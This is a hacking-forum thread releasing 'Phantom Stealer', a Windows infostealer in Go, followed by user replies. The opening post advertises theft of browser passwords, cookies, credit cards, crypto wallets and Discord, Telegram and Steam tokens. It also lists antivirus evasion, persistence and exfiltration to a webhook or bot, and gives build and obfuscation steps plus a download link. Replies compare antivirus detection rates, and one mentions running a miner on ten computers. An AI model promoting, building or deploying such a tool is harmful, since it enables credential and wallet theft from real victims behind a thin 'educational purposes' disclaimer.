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[RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - Printable Version

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[RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - 1rhino2 - Dec 9, 2025

PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code


What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.


Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized


Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook


Download:
github. com/1rhino2/phantom-stealer


Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection


Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.


Questions? Reply below or check the GitHub issues.


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - gerg61 - Dec 9, 2025

works with latest chrome ver?


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - 1rhino2 - Dec 9, 2025

(Dec 9, 2025 10:58 AM)gerg61 Wrote:  works with latest chrome ver?

Indeed.


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - i am - Dec 10, 2025

Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.


Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - sp3cifier - Dec 11, 2025

i will test it out


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - 1rhino2 - Dec 11, 2025

(Dec 10, 2025 06:28 AM)i am Wrote:  Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.


Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.

Sorry to hear, i'll work on fixing that. I haven't worked much with browsers so its my first time, I did some backup research, thought it would work.


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - randomssa - Dec 11, 2025

Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - 1rhino2 - Dec 11, 2025

(Dec 9, 2025 02:50 AM)1rhino2 Wrote:  PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code


What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.


Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized


Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook


Download:
github. com/1rhino2/phantom-stealer


Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection


Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.


Questions? Reply below or check the GitHub issues.

Fixing the issue


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - wiener222213 - Dec 12, 2025

Ai Generated


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - ByteDoktor - Dec 12, 2025

(Dec 12, 2025 02:54 AM)wiener222213 Wrote:  Ai Generated

The code does appear to be that with the amount of comments but i could be wrong and it's still a good educational tool.


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - SIM-5420628 - Dec 23, 2025

(Dec 11, 2025 05:42 AM)randomssa Wrote:  Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms

I mean you shouldnt expect a free stealer to be ud


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - kingCode - Dec 24, 2025

Very Nice


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - sigmaboss2 - Jan 5, 2026

hello your miner very bad work, users not found in pool. 500 hashrate for 10 computer xd


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - SIM-5730195 - Jan 7, 2026

this does NOT work on the latest chrome version


RE: [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord) - ShellPower - Jan 14, 2026

(Dec 9, 2025 01:34 PM)1rhino2 Wrote:  Indeed.

Have you managed to try it out yet?

would like to hear some objective opinion